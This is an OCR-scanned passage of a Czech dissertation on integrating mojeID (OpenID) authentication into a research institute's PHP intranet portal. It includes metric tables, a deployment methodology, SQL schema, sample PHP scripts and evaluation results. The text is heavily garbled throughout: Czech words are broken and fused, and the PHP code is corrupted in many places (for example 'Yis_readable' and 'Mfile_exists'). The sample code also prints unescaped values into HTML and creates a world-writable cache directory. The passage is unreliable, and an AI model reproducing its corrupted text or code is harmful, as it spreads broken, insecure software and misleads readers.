Urkeni dostupnostieSeni jako celku

Metoda m&reni

Sluzba monitoring-serveru.cz¢i@ni po 5 minutach

Interpretace hodnot miry

100 — dostupnost 100%
0 — sluzba nebyla dostupné (0%)

Zdroj dat pro uteni miry

Monitoring-serveru.cz

Tabulka 17 Dostupnost (zdroj: autor)

PouZitelnost
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Jméno mifeného atributu

Uplnost popisu

Jméno uzité miry

Uplnost popisu

Ucel miry

Mira dokumentace pro koncového uzivatele

Metoda m&reni

Analyza dostupné dokumentace

Interpretace hodnot miry

0 — dokumentace neni gostu
50 — informace v pod@buvodniho zaSkoleni nel
moznosti kontaktovat helpdesk

100 — dokumentace je dostupna

Zdroj dat pro weni miry

Mojeid.cz, fvodni systém

Tabulka 18 Uplnost popisu (zdroj: autor)

Jméno mifeného atributu

Srozumitelnost

Jmeéno uzité miry

Srozumitelnost

Ucel miry

Ureni miry srozumitelnosti pro koncové uzivatelg

Metoda ngreni

Pohovor s uzivateli

Interpretace hodnot miry

0 — systém neni srozunyitel

100 — systém je srozumitelny

Zdroj dat pro wteni miry

Uzivatelé

Tabulka 19 Srozumitelnost (zdroj: autor)

Jméno mifeného atributu

Ret zadavanych Udaj

Jmeéno uzité miry

Ret zadavanych udaj

Ucel miry

Pd@et Udaji, které musi uzivatel zadat pro @Spou

autentizaci

Metoda m&reni

Analyza gihlaSovaciho procesu

Vzorec ngreni

X =100 — 100 =

max(n)

, kde n je poet kroki pro @ihlaseni, max(n) je

nejvyssi poet kroki ve zkoumanych systémech
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Interpretace hodnot miry

100% - nejnizSégiokroki z celkového petu
0% - neni pdtba Zadny krok pro autentizaci

Zdroj dat pro wteni miry

Systém

Tabulka 20 Patet zadavanych Gdafi (zdroj: autor)

Uéinnost

Jméno mifeného atributu

Doba odezvy

Jméno uzité miry

Doba odezvy

Jeel miry Doba nutna proinlaSeni po zadani autenttréch
adaji
Metoda néteni Metenicasu

Vzorec ngteni

X =100 —100 =

max(t)
, kde t je doba pro @veni @ihlaseni, max(t) je

nejvyssi zjistna doba v systémech

Interpretace hodnot miry

100% - nejrychlejsi

0% - nejpomalejsi

Zdroj dat pro wteni miry

Systém

Tabulka 21 Doba odezvy (zdroj: autor)

Udrzovatelnost
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Jméno mifeného atributu

Podpora diagnostickych funkci

Jmeéno uzité miry

Podpora diagnostickych funkci

Ucel miry

Moznost zjistit ficinu chyb v systému

Metoda ngreni

Analyza kdédu

Interpretace hodnot miry

100 — system podporujena@aenani ladicic
informaci

0 — systém nepodporuje zaznamenani ladicich fu

Zdroj dat pro wteni miry

Zdrojovy kéd systému

Tabulka 22 Podpora diagnostickych funkci (zdroj: ador)

Jméno mifeného atributu

Monitorovani dat préignu poruchy

Jmeéno uzité miry

Monitorovani dat préiginu poruchy

Ucel miry

N

Metoda m&reni

Analyza kédu a protokipl

Interpretace hodnot miry

100 — systéem zachovavdokob poruch a jejich

nkci



pricin
0 — systém nezachovava protokol poruch a jg

pricin

Zdroj dat pro wteni miry

Zdrojovy kéd systému

ich

Tabulka 23 Monitorovani dat pro p¥i¢inu poruchy (zdroj: autor)

Prenositelnost
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Jméno mifeného atributu

Furdki nahraditelnost

Jmeéno uzité miry

Furtki nahraditelnost

Ucel miry

Zajistni nahraditelnosti systému

Metoda ngreni

Analyza systému

Interpretace hodnot miry

100 — systém lze nahtsditproblénm
50 — systém lze nahradit s komplikacemi

0 — systém nelze nahradit

Zdroj dat pro wteni miry

Implementace

Tabulka 24 Funkéni nahraditelnost (zdroj: autor)



6.1. Faze 1 — navrh metodiky

Tato kapitola je ¥novana navrhu metodiky pro nasazeni vybrané aagénfi
technologie. Jednotlivym krdkn metodiky se #nuji samostatné podkapitoly.
1. Analyza stavajiciho systému a jeho vazeb
» Kdo vyuziv4 autentizaich sluzeb systému
» Zhodnoceni, jak je kritické zabezfmi autenticity uZivatele
* Role uzivatei
2. Uprava vazeb stavajiciho systému
Na zaklad analyzy je nutné provést vazbu mezi stavajicintésyem a systémem
mojelD. Ke stavajicim uzivatelskymc¢tiim je nutné fidat pole obsahujici identifikator
mojelD v podok textovéhaetzce.
Pro role uZivatel je nutné nastavit poZadovan&ieni uZivatele.
3. Sepsani smlouvy s poskytovatelem mojelD
Pro provozovani sluzby mojelD je nutné podepsabskytovatelem Smlouvu o uZziti
sluzby mojelD pro fhlaSeni k systéfim poskytovatele. Poskytovatelem je provozovatel
systému, ktery Zada o autentizaci uziviathd svych systém Sowasti smlouvy jsou:
» Podminky uziti sluzby mojelD praiplaseni k systéfm poskytovatei
* Pravidla poskytovani sluzby mojelD pro koncové ake
* Cenik
» Kontaktni informace
Ro¢ni poplatek za uzivani sluzby mojelD je stanoverd 880 K (cena platna k 30. 4.
2013).
Vramci Kontaktnich informaci jsou spoéteosti CZ.NIC poskytnuty (daje o
kontaktnich osobach veeech:
e Smluvnich
» Technickych
Dulezitym udajem v kontaktnich informacich jsou oblBHRL poskytovatele sluzeb,
tedy ¢ast prostoru URL, pro niz je Zzadost octmni identity platna. V této oblasti musi lezet
navratova adresa.

4. Uprava snirnic a podminek vyuzivani inforrsaiho systému
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Zavedeni bezg@é autentizace neni pouze zéalezitostéryrinformaniho systému, ale
zaroveh se jedna o z#mu organizaénich pravidel, je nutné provést reviziigluSnych
dokument, které se tykaji bezpeosti gistupu a pihlaSovani. Revize se tyka nasledujicich
dokument:

* Sn¥rnice o vyuzivani informaich technologii (v fipad intranetovych
portak)

e Podminky pro vyuzivani sluzeb portalu @gac portalovych aplikaci)

5. Integrace sluzby mojelD do inforé@iho systému

Na vSechna mista, odkud je moznéhlaSeni uzivatél, je nutné pidat odkaz na
piihlaSeni pomoci mojelD. Dale je nutné provést omezihlaSeni pomoci stavajiciho
piihlaSovaciho mechanismu nasledujicinisghbem:

* Pro neaktivni fistup (uzivatel nema ffstup k citlivym 0dajm, neniize
schvalovat apod.) systém umozZnifispup stavajicim autentigaim
mechanismem nebo sluzbou mojelD

* Pro aktivni pistup je zakadzanarilaseni nedvéryhodnou metodou

6. Testovani systému

Pro testovani systému je nutné zvolit reprezematiizorek uzivatel, skladajici se
pokud mozZno ze vSechtipustnych roli. Testovani je nutné provést jak n@vidi
uzivatelského testovani (fuérkost, pouzitelnost), tak na technické urovni (beaplbovost,
acinnost, udrzovatelnostignositelnost).

7. Zavazna dopokieni pro provozovatele systému a koncové uZivatele

Metodiku POASE nelze chapat jako postup izolovathykolnich systérin Je nutné si
uvédomit, Ze bezpmost je soubor vice ogahi a Ze bezgaa autentizace sice sniZuje riziko
atoku na autentizami mechanismus, ale nezabesmrey systém miru bezpeosti zgtne
shizuje.

Pro provozovatele systému jsou nutnosti nasledogidminky:

1. Portal vyuziva zabezpeného pipojeni HTTPS

2. Na serveru jsou nainstalovany certifikatywdryhodné certifik&ni autority

3. Doménovy zaznam je zabezpea technologii DNSSEC

4. Na serveru jsou nainstalovany vSechny beéapstni zaplaty pro opemi systéem a

aplikace

5. Systém je chram firewallem a systémy detekceipiku (IDS)

Pro koncové uZivatele plati nasledujici pravidla:
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. DNS server vyuzZiva technologii DNSSEC proéimni pravosti doménového

zadznamu (Ize aifit snadno na internetové straraép://www.nic.c)

UZivatelé neposkytuji své autentind Udaje tetim stranam
UZivatelé udrzuji pétac, prostednictvim kterého ipstupuji  k portéalu,
aktualizovany a pouZivaji antivirovy program

UZivatelé jsou poteni o hrozbach phishingu a pharmingu



6.2. Faze 2 — nasazeni

Pri implementaci systému je postupovano podle kno&vrzené metodiky.
1. Analyza stavajiciho systému

Metodika byla implementovana do intranetového portérejné vyzkumné instituce
s cca 300 zawstnanci. V sotasné dob je portal naprogramovan v programovacim jazyce
PHP a pistupuje k daim centralni databaze spot& s internim informmim systémem
MySQL.

Autentizace wuzivatél je provadna pouze na zaklad uzivatelského jména
(zamestnaneckéislo) a hesla.

Veskeré patbné udaje jsou uloZzeny v tabulce "zam:

"Zam_ld" INT(10) NOT NULL AUTO_INCREMENT,
“Prijmeni CHAR(30) NULL DEFAULT NULL,
“Jmeno’ CHAR(30) NULL DEFAULT NULL,

"Mobil" CHAR(9) NULL DEFAULT NULL,

"Email’ CHAR(40) NULL DEFAULT NULL,
"Nastaveni’ INT(10) NULL DEFAULT '0',

"Heslo” CHAR(20) NULL DEFAULT NULL,
“Aktivni® TINYINT(4) NULL DEFAULT '1',

‘jazyk® ENUM('cs','en’) NULL DEFAULT 'cs',
“TitulPred” CHAR(15) NULL DEFAULT NULL,
"TitulZa® CHAR(15) NULL DEFAULT NULL,
‘ldCard” CHAR(64) NULL DEFAULT NULL,
“CisloKarty™ INT(10) NULL DEFAULT NULL,
‘uvazek’ DECIMAL(6,2) NULL DEFAULT '1.00',
“typ” INT(10) NULL DEFAULT '0',

“odbory” SMALLINT(6) NULL DEFAULT '0',
“knihovnavstup® INT(10) NULL DEFAULT '0',
“knihovnavystup™ INT(10) NULL DEFAULT '0',
"knihovna® SMALLINT(6) NULL DEFAULT '1',
Jednoznénym identifikatorem jecislo zam¢stnance. Tatcisla jsou od roku 2009

piidélovana neopakovateir(nejsou tzv. recyklovana).

Heslo je ulozeno v podékhash.

Role uZivatele je uloZena ve spojovaci tabulcentgrzam’, ktera popisujeriglusnost
zanestnand k odclenim (tabulka “granty’).

"Zam_|d" INT(10) NOT NULL DEFAULT '0',

"Granty_Id" INT(10) NOT NULL DEFAULT '0',
"Granty_Zam_Id" INT(10) NOT NULL AUTO_INCREMENT,
"Funkce’ CHAR(20) NULL DEFAULT NULL,

“Opravneni’ INT(10) NULL DEFAULT NULL,

“Zmenil” INT(10) NULL DEFAULT NULL,
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‘od” DATE NULL DEFAULT NULL,
"do” DATE NULL DEFAULT NULL,
Cizimi Kli¢i jsou tedy "zam_id" a "granty_id".
Role uzivatele je dana bitovym polem ‘opravneniednl z opravéni je Pravo
schvalovat.
Vazby systému
Na stavajici autentizai Udaje je v instituci navazadn pouze systéfiml@Sovani do
systému EZProxy, kdy je proti portadlu pro¢add owieni moznosti fistupu uZzivatel do
elektronickych zdraj. Tato funkcionalita je zaji®vana samostatnym skriptem na stejném
portalu.
2. Uprava vazeb stavajiciho systému
Pro vytvdeni vazby mezi uzivatelem stavajiciho systému aatgiem sluzby mojelD
bude vytv@eno noveé jedinmeé pole v tabulce zam':

ALTER TABLE "zam’
ADD COLUMN "mojeid” CHAR(200) NOT NULL AFTER
“Zam_Id';
3. Sepsani smlouvy s poskytovatelem mojelD

Sepsani smlouvy je nutné pouze pro e funkce mojelD. Vzhledem k tomu, Ze je
nutné vynutit v ramci autentizace vyssi stupabezpe&eni (OTP,¢ipova karta), je sepséni
smlouvy a zaplaceni &niho poplatku nezbytnosti. Sepsani smlouvy gntibbez problému a
sluzba byla do tydne aktivni.

4. Uprava snirnic a podminek pro uzivani portalu
Instituce nema v s@asné dob Zadné srrnice pro praci s intranetovym portalem.
Doporuwenim pro instituci je vytvi@ni snérnice pro praci s intranetovym portalem.
5. Integrace sluzby mojelD do stavajiciho systému
Zaklad systému pro komunikaci s poskytovatelemisfuiojelD tvdi pét skripti:

« auth.php - vykona volani koncovéeho bodu sluzby hbjepozadovaném tvaru

» common.php - sdilend knihovna pro ostatni skriptsahuje zékladni funkce,
definice konstant, atribtit a zajifuje volani pomocnych knihoven sluzeb
OpeniD

» finish.php — stranka, na kterou je uzivatébgneérovan po opughi koncoveho
bodu mojelD; skript je zodp@dny za o¥ieni pravosti zaznaimpredanych
sluzbou mojelD

* index.php — Gvodni strdnka sditkem pro gihlaSeni

Sdilena knihovna pro ostatni skripty - common.php
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<?php
session_start();

Il Settings
define('TEST', false); //Jedna se o testovaci
provoz?

ob_start();

if (Yis_readable('/dev/urandom’)) {

define('Auth_OpenID_RAND_SOURCE!', null);

}

ob_end_clean();

set_include_path(getcwd() . /OpeniD' .
PATH_SEPARATOR . get_include_path());

require_once('OpenlD/Auth/OpenlID/Consumer.php’);
require_once('OpenlD/Auth/OpenlD/FileStore.php’);

require_once('OpenlD/Auth/OpenID/AX.php');
require_once('OpenlD/Auth/OpenlID/PAPE.php");

global $pape_policy uris;

$pape_policy_uris = array(
PAPE_AUTH_MULTI_FACTOR_PHYSICAL,
PAPE_AUTH_MULTI_FACTOR,
PAPE_AUTH_PHISHING_RESISTANT

);
global $ax_attributes;

$ax_attributes = array(
'fullname’ => array(
'scheme’ =>
‘http://axschema.org/namePerson’,
‘textt =>'Celé jméno’,
'required’' => FALSE
));
...definice atribut a vynechany, plny vy
v p Floze

if (empty($_SESSION['none’)) {
$ SESSION['nonce'] = md5(uniqid());
}

/I Functions
function displayError($message) {
$error = $message;

&et je uveden
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include('index.php");

exit(0);
}

function &getStore() { //Vytvo reni ulozist
dataop rihlaSenich
$store_path = 'cache’;

if (Mfile_exists($store_path) &&
Imkdir($store_path, 0777, true)) {
echo 'Could not create the FileStore
directory ' . $store_path . ".<br />'.
'Please check the effective
permissions.";

exit(0);
}

return new Auth_OpenlID_FileStore($store_path);
}

function getScheme() {

return (isset($_SERVER[HTTPS') &&
$ SERVER['HTTPS'] == 'on’ ? 'https" : 'http");

}

function getReturnTo() { //Sestaveni navratové
adresy
if ($_SERVER['SERVER_PORT'] == 80) {
return sprintf("%s://%s%s/finish.php”,

& pro

getScheme(), $_SERVER['SERVER_NAME,

dirname($_SERVER['PHP_SELFY));
} else {
return sprintf("%s://%s:%s%s/finish.php",

getScheme(), $_SERVER['SERVER_NAME,

$ SERVER['SERVER_PORTY,
dirname($_SERVER['PHP_SELFY));
}
}

function getTrustRoot() {
if ($_SERVER['SERVER_PORT' == 80) {
return sprintf("%s://%s%s",

getScheme(), $_SERVER['SERVER_NAME,

dirname($_SERVER['PHP_SELF));
} else {
return sprintf("%s://%s:%s%s",

getScheme(), $_SERVER['SERVER_NAME,

$ SERVER['SERVER_PORT,
dirname($_SERVER['PHP_SELFY));



}
}

function &getConsumer() {
$store = getStore();
$consumer =& new Auth_OpenID_Consumer($store);

return $consumer;

}
function getEndPoint($action = 'endpoint’) {
if (TEST) { l[Ziskani koncového bodu sluzby
mojelD

$endpoint = 'https://mojeid.fred.nic.cz/;
/[Testovaci server
} else {
$endpoint = 'https://mojeid.cz/'; //Ostry
provoz

}

return $endpoint . trim($action, '/') . '/’;

}

Strdnka pro prihldaseni

Stranka prgtihlaSeni je roz&éna o dva odka:

» Tlacitko pro @ihlaSeni pes mojeID

» Odkaz pro zaloZenictu sluzby mojell
<?php
require_once(‘common.php”);

global $pape_policy_uris;
global $ax_attributes;

7>
<html>
<head>
< meta http -equiv="Content-Type"
content="text/html; charset=UTF -8">
<title>MojelD - Ukazkova implementace</title>
<meta http  -equiv="x-xrds- location” content="<?php

echo getTrustRoot(); ?>xrds.php" />
<style type="text/css">

</style>
<script type="text/ javascript">
function register() {
document.getElementByld(‘register - form’).submit();
}
</script>
</head>
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<body>
<div id="wrapper">

<?php if (isset($msg)) { print "<div
class=\"alert\">$msg</div>"; } 7>

<?php if (isset($error)) { print "<div
class=\"error\">$error</div>"; } ?>

<?php if (isset($success)) { print "<div
class=\"success\">$success</div>"; } ?>

<div id="form">
<div id="button"><a href="auth.php"><img
src="image/155x24.png" alt="P rihlasit p res
mojelD"></a></div>
<div id="links">
<span id="why"><a
href="http://www.mojeid.cz/page/805/vyhody-
mojeid/">Pro ¢ mojelD</a></span> |
<span id="register"><a href="#"
onclick="register();return false;">Zalozit G cet
mojelD</a></span>
</div>
<form action="<?php echo
getEndPoint('registration/endpoint’); ?>" method="p
enctype="multipart/form-data" id="register-form">
<input type="hidden" name="realm"
value="<?php echo getTrustRoot(); ?>" />
<input type="hidden" name="registration_nonce"
value="<?php echo $_SESSION['nonce']; ?>" />
</fform>
</div>

<?php if ('lempty($_SESSION['values)) { ?>
<table id="list">
<thead>
<tr>
<th>Schéma</th>
<th>Hodnota</th>
<th>Popis</th>
</tr>
</thead>
<tbody>
<?php foreach ($_SESSION['values'] as
$key => $values) { 7>
<tr>
<td><?php echo
$ax_attributes[$key]['scheme']; ?></td>
<td><?php foreach ($values as
$value) { 7>
<div><?php if ($key == 'image’
&& $value) { 7>

ost"



<img
src="data:image/png;base64,<?php echo $value; ?>">
<?php } else { ?>
<?php echo $value; ?></div>
<?php } ?>
<?php } ?></td>
<td><?php echo
$ax_attributes[$key][text]; ?></td>
</tr>
<?php } ?>
</tbody>
</table>
<?php unset($_SESSION]['values'); ?>
<?php } 7>
</div>
</body>
</html>
Zpracovdni formuldre

<?php
require_once(‘common.php’);

$consumer = getConsumer();
$auth_request = $consumer->begin(getEndPoint());

if (!$auth_request) {

displayError('FAILED TO CREATE AUTH REQUEST: not a
valid OpenlID");

}

$ax_request = new Auth_OpenlD_AX_ FetchRequest();

foreach ($ax_attributes as $id => $data) {

$attr = new
Auth_OpenID_AX_Attrinfo($data['scheme’], 1,
$data['required?], $id);

$ax_request->add($attr);

}

$auth_request->addExtension($ax_request);

$pape_request = new
Auth_OpenID_PAPE_Request($pape_policy uris);
$auth_request->addExtension($pape_request);

if ($auth_request->shouldSendRedirect()) {
$redirect_url = $auth_request-
>redirectURL(getTrustRoot(), getReturnTo());

if (Auth_OpenlD::isFailure($redirect_url)) {
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displayError(‘Could not redirect to server:
'. $redirect_url->message);

}

ob_end_clean();

header('Location: ' . $redirect_url);

} else {

$form_html = $auth_request-
>htmIMarkup(getTrustRoot(),

if (Auth_OpenlID::isFailure($form_html)) {
displayError(‘Could not redirect to server:
', $form_html->message);

}

ob_end_clean();

echo $form_html;

}
exit(0);

Osetreni ndvratu uzivatele
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<?php
require_once(‘common.php”);

$_SESSION['values'] = array();
ob_start();
$consumer = getConsumer();

$return_to = getReturnTo();
$response = $consumer->complete($return_to);

if ($response->status == Auth_OpenID_CANCEL) {
$msg = 'Verification cancelled.";
} elseif ($response->status == Auth_OpenlD_FAILURE)

{

$msg = "OpenID authentication failed: " .
$response->message;

} elseif ($response->status == Auth_OpenID_SUCCESS)
{

$openid_identity = (isset($response->endpoint-
>claimed_id) ? $response->endpoint->claimed_id :
$response->getDisplayldentifier());



$success = sprintf("You have successfully verified

'<a href="%s">%s</a> as
your identity.’,

$esc_identity,
$esc_identity);

$ax_resp =

Auth_OpenID_AX_FetchResponse::fromSuccessResponse($
onse);

if ($ax_resp) {
foreach ($ax_attributes as $key => $value)

{

$ SESSION['values'|[$key] =
(isset($ax_resp->data[$value['scheme]) ? $ax_resp
>data[$value['scheme']] : ');

}
}

ob_end_clean();

include 'index.php B

6. Testovani systému

resp

Systém byl otestovan na jednom Utvaru vybranéhiituss. Jednalo se o Utvar s 16-ti

zamestnanci. Mezi zagstnanci byli 3 pracovnici s pravem schvalovat.

Béhem nesicniho testovani nebyly zaznamenany Zzadné problémiihlaSenim

uzivateh.

7. Poueni uzivatel o bezpéném gristupu k internetu

Na Ovodni strance portalu bylo Zege¢no jednoduché pa@eni o bezpé&ostnich

hrozbach na internetu dlg¢ilohy k navrzené metodice.

106



6.3. Faze 3 - o¥reni

6.3.1.Hodnoceni metodiky v ramci metrik pro hodnoceni jalosti

systému

Bezpecnost
Se zavedenim metodiky doSlo kistu bezpé&nosti autentizace. Systém uniaje

vicefaktorovou autentizaci i autentiz&govou kartou (moZznosti @veni ve sluzb mojelD).

Funkénost

Systém je schopen poskytovat funkce pro zmjiSbezpéné autentizace a spije
pozadavky na vyssi stupeabezpéeni (funkeni piimérenost).

Systém ma schopnost spoluprace s jinymi systéng,ty@b jiné systémy mohou

mnohem jednoduSeji pracovdimo se sluzbou mojelD (schopnost spoluprace).

Bezporuchovost

V ramci bezporuchovosti doslo ke snizeni jakosstéyu, neb systém se stava
zavislym nejen na své vlastni fumosti, ale navic na systémieti strany a roste tim
pravéEpodobnost selhani systému jako celku. Zralost systge pondrné vysokd diky
specializaci fietich stran pouze na autentimamechanismy. DalSim faktorentigpivajicim
k zralosti systému je otéesnost celého systému a postaveni na zakladechvy&ijenych

technologii (OpenlD). Schopnosti zotaveni ewe kapitola 6.3.2.

Pouzitelnost
Z hlediska pouzitelnosti je systéem srozumitelny,adsmo naditelny (intuitivni).
Atraktivnosti systému je dosazentidanou hodnotou pro uzZivatele — svoje autedtizadaje

spravuje prosednictvim jediné identity pro vic systém

Uéinnost
S ohledem n&asové chovani a vyuziti zdtofoslo ke zlepSeni s ohledem na fakt, Ze
samotna autentizace probiha v systéifaii tstrany a systému je pouzéegan vysledek

ovéreni.
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Udrzovatelnost
Analyzovatelnost systému je zavisla na technolbgiietich stran. Technologie OpenID
je velmi dolie zdokumentovana. Testovatelnost systému je zadodartestovacim praedi

sluzby mojelD.

Prenositelnost
Systém autentizace jergmositelny na jakykoliv systém, ktery uniofe zobrazit

uzivateli webovou stranku a zérdvgrijmout piichozi HTTP/HTTPS poZadavek.
6.3.2. Zjist éné nedostatky

Béhem testovani systému byly z§isy nasledujici nedostatky a limitujici omezeni:

Jazyk uzivatelii
Sluzba mojelD je dostupné pouzéeském nebo anglickém jazyku. Tento faktarzen
byt limitujicim pro vicejazykové systemy, kdy auieace bude vyZzadovat znalost anglického

neboceského jazyka.

Prihldseni pres LDAP, Windows, Unix

NavrZzena metodika nepodporujefirpou autentizaci heslem. Vzdy je nutné
piesnérovani na stranky poskytovatele mojelD a zadardrdiganich Gdaij treti strag.

SluZzbu tedy neni mozné vyuzit rdtqlad pro gihlaSeni pes konzoli k systému
Unix/Linux. Stejré tak Microsoft Credential Providers pro Windows ftdisa vysSi
neumo#uji zobrazit uzivateli  piihlaSovani webovou stranku. Navrzenou metodikuenelz
vyuZzit ani pro autentizaci LDAP ze stejnyalvddi, jako jsou vySe uvedené #igaseni neni

interaktivni.

Nutné pripojeni k internetu
Vzhledem k tomu, Ze autentizace je prosraa prostednictvim si internet, je nutné

umoznit uzivatalm pristup k internetu, minima#éna gihlaSovaci stranku sluzby mojelD.

Nutnost vicefaktorové autentizace pri vzddaleném pristupu
Pro zvySeni pouZzitelnosti je mozné dopitrpouziti bezpéné formy autentizace a%ip

vzdaleném fistupu (tedy fistupu z netivéryhodnych siti nebo nédéryhodnych péitac).
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Zvysené pozadavky na autentizaci azZ pri schvalovdni
Aby uzivatel s vy$Sim opragnim nemusel vzdy pouzit bezpe autentizaceéipovou
kartou nebo jednordzovym heslem, je moZné totéremN provadt aZz po pozadavku na

citlivou operaci v systému (schvalovani, podepisdya

Nedostupnost autentizacni sluzby

Je nutné navrhnout opahi pro pipad nedostupnosti autentira sluzby.
6.3.3. NavrZzena opafeni na zaklad zjiSténych nedostatka

« Je navrzeno do metodikyigat oblast pouZziti — vymezeni systiém uzivatel,
pro které je metodika platna (bod 8)

0 Lokalizace mojelD existuje pouze préesky a anglicky mluvici
uzivatele, omezenim je také nutnost viastnictwftelu steskym nebo
slovenskym telefonnirtislem

o Prihlaseni pes LDAP, Windows, Unix

o Nutnost gipojeni k internetu

* Je navrZzeno do bodu ZXigat v ramci analyzy zhodnoceni, kdy je nutné pouzi
bezp&né autentizace — néfglad pii pristupu z nedvéryhodnych siti

» Do bodu 5 je navrZzenocunit opateni na zaji&ni bezpéné autentizace az v
okamziku provaeni kritickych transakci

* Do bodu 6 je navrzenoridat podminku na jbéznou kontrolu aktualizaci
skripti zaji¥ujicich komunikaci

UplIné zreni finalni verze metodiky je uvedeno iilpze v kapitole 12.1.
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6.4. Faze 4 — provoz

V rdmci provozu nebyly zjishy Zzadné dalSi nedostatky. V gaané dob je systém
uvolrén pro pouZzivani vS8emi pracovniky bez restrikci nanast vyuzZivani bezpeé
autentizace. V tomto ipchodném obdobi maji moZnost vedouci pracovnicist#ajsi

prostedky pro vicefaktorovou autentizaci.

Druha iterace cyklu PDCA

Metodika byla po Upravach implementovana obdobnypisabem do druhého
testovaciho systému. Jednalo sétapveejnou vyzkumnou instituci s cca 500 zgtmanci.
V ném uz nebyly do saiasnosti zjidiny zadné nedostatky. Pouze bylo nutné zachovat
paralel& pavodni hesla zi@vodu napojeni na LDAP a dalSi systémy v instit@statni
opateni metodiky #stala v platnosti.
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6.5.

6.5.1. Namérené hodnoty

Zhodnoceni navrzenéhaeSeni

V néasledujici tabulce jsou uvedeny hodnoty #&a@mé v systémech igd a po

implementaci metodiky. Hodnoty jsou dosazeny daedle definic jednotlivych metrik.

Vicefaktorova | Doba  odezvy Pciet kroka
autentizace [ms]
Pavodni systém 1 2 117 2
Pavodni systém 2 2 187 2
Implementace 1 | 3 230 3
Implementace 2 | 3 221 3

Tabulka 25 Naméfené hodnoty pro vypd&et metrik (zdroj: autor)

6.5.2. Vysledné hodnoceni metrik

V nasledujici tabulce jsou uvedeny vysledné hodnwatrik a atribui pro systémy fed

a po implementaci metodiky na zaklathneienych udaj.

Systém Funkénost Bezpecnost Bezpecnost

Funkéni DNSSEC | HTTPS | Vicefaktor Primér

nalezitost
Plvodni systém 1 100 100 90 50 80
Plavodni systém 2 100 100 90 50 80
Implementace 1 100 100 90 100 96,667
Implementace 2 100 100 90 100 96,667
Systém Bezporuchovost Pouzitelnost Pouzitelnost

Dostupnost Uplnost | Srozumitelnost | Pocet krokd | Pramér

popisu

PUvodni systém 1 99,997 50 100 33,333 61,111
PUvodni systém 2 100 50 100 33,333 61,111
Implementace 1 99,987 100 100 0 66,667
Implementace 2 99,991 100 100 0 66,667




Systém Ucinnost UdrZzovatelnost UdrZovatelnost | Pfenositelnost
doba odezvy | Podpora diag. Pficiny | Primér funkéni
Funkci poruchy nahraditelnost
PUvodni systém 1 49,13043478 100 100 100 100
Plavodni systém 2 18,69565217 100 100 100 100
Implementace 1 0 100 100 100 50
Implementace 2 3,913043478 100 100 100 50

Tabulka 26 Hodnoceni systému ¥ed a po nasazeni metodiky (zdroj: autor)

Dale nasleduje vyneseni né&f@nych hodnot do grafu.

Funkénost

Pfenositelnos Bezpecnost

UdrZovatelnostB "IBezporuchovost

—
== PUvodni systém 1
== P(ivodni systém 2
Implementace 1
== |mplementace 2

Uginnost Pouzitelnost

Graf 3 Ovéreni metodiky (zdroj: autor)

Z grafu je viditelné zvySeni v oblasti beZpesti. Dle @éekavani také doSlo ke snizeni
arovne prenositelnosti (systém je mozné nahradit s omezenigmnosti (komunikace se
systémem feti strany) a pouzitelnosti (nutny qe kroki pro gihlaSeni). V ostatnich
oblastech #@stal zachovan stav jako uiypdnich systérin Je #ejmé, Ze cile prace — zvySeni
bezpeénosti — byl splin. V grafu je vSak viditelny dopad na ostatni ckegastiky systému
jako celku.
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7. Shrnuti a diskuze

Vysledek diserténi prace je zavisly na¢kolika technologiich, které jsou v dnesni dob
povazovany za bezpeé a nezpochybnitelné. Lzetekavat, Ze v budoucnu tbe dojit
k prolomeni ®kterych bezpénostnich algorith a stim také k zpochybni ziskanych
zawra. Dale bezpénost autentizace zavisi také ngkterych technologiich, které jsou dnes
jiz zndmé, ale nejsou pouzivaneé.

Nasledujici body popisuji rizika spojena s techgmmi pouzitymi v navrzené

metodice.

Bezpecnost hashovacich funkci

Bezpe&nost hashovacich funkci je kritickareplevSim pro technologii digitalniho
podpisu. Neni §iliS velkou hrozbou pro generatory jednorazovyckehey gipact pouziti
silného sdileného Kié. Zatimco fi odhalovani hesel sta najit libovolny text, kterému
odpovida hash hesla, u jednorazovych hesel tatmimdch neplati, nelige nutné najit fesre

puvodni text kwli vypoctu nasledujiciho hesla.

Bezpecnost generdtoru jednordzovych hesel

Pro generatory jednorazovych hesel je velkym rimikeutnost ukladat sdilené tajemstvi
na obou strandch komunikace v g@ne podob. S ohledem na fakt, Ze generatory funguji na
mobilnich telefonech, které se mohou stattiobileného Gtoku stefnjako paitate, je zde
jisté riziko kompromitace sdileného tajemstvi. Narg klienta je mozné zvysit zabezfeai

zadanim kédu PINipgenerovani sdileného tajemstvi.

Bezpecnost komunikacnich kanadlii

Zajiseni bezpénosti komunikanich kanél je kritické pro vSechny autentiad sluzby.
Dnes je nafiklad biZné pouzivani protokolu HTTPS, ale jegeni zcela &né zabezpeni
DNS servei technologii DNSSEC.

Dostupnost autentizacni sluzby

Vzhledem ktomu, Ze autentizace vyuziva sluzadi tstrany, kterd je geograficky
umisena jinde, nez informai systém, je logické, Ze dochéazi ke snizeni dostsip sluzby
jako celku. Je vySSi prawpodobnost, Ze dojde k selhani jednoho ze dvoursystez pouze

jednoho.



Ochota uzivatelii ke zméné

Limitujicim faktorem na stranuZivateti miZe byt neochota uZivatektizovat si dalSi

Gcet. Je vhodné uzivatelggs\wdcit, Ze vytvaenim &tu mojelD se jim prace zjednodusi
nemusi si vytvéet autentizéni idaje protizné sluzby.

S ochotou uzivatél ke Zizeni &tu v mojelD souvisi také podpora tohotougpbu
autentizace ve vice systémedhim rozsfensjsi bude podpora, tim vice uZivatebude

ochotno pejit na @et mojelD.

Bezpecnost zdloZnich kodii

Aplikace, které umaiuji prihlaSeni pomoci jednoradzovych hesettSinou nabizeji
zalozni moznost ifhlaSeni — vyti&nim zaloznich koil U ®chto kddi je nemozné jejich
zneuziti napadenim pitate nebo mobilniho zézeni. Ut@nik tak musi mit fyzicky fistup
kttmto Uudajpm a zarové musi znat uzivatelské heslo. Vytisé kody se tak stavaji

nezavislym komunikénim kanalem.

Vyuziti datovych schrdnek jako poskytovatele OpenlD

Jako vhodny poskytovatel autentiméch sluzeb mohou slouzit také datové schranky.
Tuto schopnost zatim nemaji, ale z hledigkske legislativy a poskytovanych vlastnosti by
byly vhodnym autentizanim prostedkem. Garantuji identitu uzivatekh poskytuji formy
bezp€né autentizace. Aktivacect je komplikovasjSi — je nutna navéta registraniho
mista. Vyjimkou je odeslani Zadosti ofeaté digitalnim podpisem.

Odrazujicim faktorem d@Ze byt pro uzivatele neochotéizovat si datovou schranku.
Pak by bylo vhodné odtit samotny ISDS od spravy identit. Vzniknul by tiomikéat

elektronické identity s garantovanymi tdaji M\R.
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8. Zzaver

Cilem bezpené autentizace je eliminovani moznosti zneut#itilaSovacich informaci.
